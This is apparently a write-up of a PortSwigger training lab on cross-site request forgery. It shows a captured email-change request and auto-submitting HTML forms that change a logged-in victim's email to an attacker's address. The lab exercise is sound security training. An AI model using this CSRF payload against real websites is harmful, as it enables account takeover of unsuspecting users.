Portswigger’s lab write up: CSRF vulnerability with no defenses
In this apprentice-level lab, we will exploit a site that contains a CSRF vulnerability in its email change functionality.
After signing in and trying to update our account’s email to something like ‘test@gmail.com’, we can see the following request in the Network tab of our browser or Burpsuite Intercept:
POST /my-account/change-email HTTP/1.1
Host: [0a9a0027047d6aaec1fa58be003b00b3.web-security-academy.net](<http://0a9a0027047d6aaec1fa58be003b00b3.web-security-academy.net/>)
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
Origin: [<https://0a9a0027047d6aaec1fa58be003b00b3.web-security-academy.net>](<https://0a9a0027047d6aaec1fa58be003b00b3.web-security-academy.net/>)
Connection: keep-alive
Referer: [<https://0a9a0027047d6aaec1fa58be003b00b3.web-security-academy.net/my-account>](<https://0a9a0027047d6aaec1fa58be003b00b3.web-security-academy.net/my-account>)
Cookie: session=bQKVomOrYf95eVTuf4XKAw9zlJQDsUUK
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
With the following body structure:
email=test@gmail.com
Here we are able to identify that the update email action just requires a session cookie to authorize the user and the email parameter to execute this action. Let’s use the reading material’s HTML template for CSRF to build our attack:
<html>
<body>
<form action="<https://vulnerable-website.com/email/change>" method="POST">
<input type="hidden" name="email" value="pwned@evil-user.net" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
All we need to do is replace the action attribute of the form component to our lab’s absolute email update endpoint (you can see it on the POST request we performed earlier) and the value attribute of the email input to whatever value we want the victim’s email to change to:
<html>
<body>
<form action="{LAB URL}/my-account/change-email" method="POST">
<input type="hidden" name="email" value="attacker@gmail.com" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
If we save this as an HTML file, when someone visits our site, the form above will be submitted as soon as the page loads and an email update will be requested (as long as the user is authenticated on the lab’s site since a session cookie is required to perform the email update action). To solve the lab, we have to go to the exploit server, store our HTML code, and send it to the victim.
Check out this write up on:
Medium: https://medium.com/@artofcode_/portswiggers-lab-write-up-csrf-vulnerability-with-no-defenses-a12785f4a14a
Dev.to: https://dev.to/christianpaez/portswiggers-lab-write-up-csrf-vulnerability-with-no-defenses-4p84